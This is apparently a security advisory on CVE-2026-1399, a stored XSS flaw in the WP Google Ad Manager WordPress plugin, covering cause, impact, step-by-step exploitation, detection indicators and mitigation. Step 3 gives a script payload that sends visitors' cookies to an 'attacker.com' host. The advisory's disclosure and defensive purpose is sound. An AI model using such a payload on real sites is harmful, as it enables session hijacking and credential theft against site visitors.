CVE-2026-1399: 
WordPress vulnerability analysis and mitigation

CVE-2026-1399 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Google Ad Manager Plugin for WordPress, affecting all versions up to and including 1.1.0. The flaw arises from insufficient input sanitization and output escaping in admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts into pages. The vulnerability is limited in scope: it only affects multi-site WordPress installations or those where unfiltered_html has been disabled. It was published on January 28, 2026, with a CVSS v3.1 base score of 4.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's admin settings handler, where user-supplied input is stored without adequate sanitization and later rendered in page output without proper escaping. An attacker with administrator-level access can submit a malicious payload through the plugin's settings interface; the payload is then stored in the database and executed in the browser of any user who visits an affected page. The vulnerable code has been identified in WP-Google-Ad-Manager.php at line 194 (Plugin Source, Wordfence).

Successful exploitation allows an authenticated administrator to inject persistent JavaScript that executes in the browsers of site visitors, potentially enabling session hijacking, credential theft, defacement, or redirection to malicious sites. Because the attack vector is network-based and the scope is changed (affecting users beyond the attacker's own session), the impact extends to all users accessing injected pages. Confidentiality and integrity are both assessed as low impact, with no direct availability impact; however, in a multi-site environment, the blast radius could span multiple sub-sites (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1399. The EPSS score is approximately 0.022% (0.000220), indicating a very low probability of exploitation in the near term. Exploitation requires authenticated access with administrator-level privileges, significantly limiting the attacker pool. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (Wordfence).

1. Gain Administrator Access: Obtain or compromise an administrator account on a vulnerable WordPress multi-site installation or one with unfiltered_html disabled, running WP Google Ad Manager Plugin ≤ 1.1.0.
2. Navigate to Plugin Settings: Log in to the WordPress admin dashboard and navigate to the WP Google Ad Manager Plugin settings page.
3. Inject Malicious Payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable admin settings field (identified at line 194 of WP-Google-Ad-Manager.php).
4. Save Settings: Submit/save the settings, causing the malicious script to be stored in the WordPress database.
5. Trigger Execution: When any user (including non-admin visitors) accesses a page that renders the injected setting, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Plugin Source, Wordfence).

• Logs: WordPress admin audit logs showing unexpected changes to WP Google Ad Manager Plugin settings, particularly from unfamiliar IP addresses or at unusual times.
• Database: Presence of <script> tags or encoded JavaScript payloads in the plugin's settings records in the wp_options table (or equivalent multi-site table).
• Network: Outbound requests from user browsers to unknown external domains shortly after visiting pages that render plugin ad settings; unusual cookie or session data exfiltration patterns.
• File System: Unexpected modifications to WP-Google-Ad-Manager.php or related plugin files, though the primary attack vector is database-stored rather than file-based.

Users should update the WP Google Ad Manager Plugin to a version beyond 1.1.0 if a patched release is available from the plugin author. If no patch is available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, restricting administrator account access, enforcing strong authentication (e.g., MFA), and auditing admin-level user accounts can reduce the risk of exploitation. Site operators should also review plugin settings for any existing malicious payloads (Wordfence, Wordfence Weekly Report).

Wordfence disclosed and reported this vulnerability as part of their weekly WordPress vulnerability intelligence report for the period of January 26–February 1, 2026, noting it as a medium-severity finding (Wordfence Weekly Report). No significant broader media coverage, researcher commentary, or notable social media discussion has been identified for this CVE, consistent with its limited exploitability scope.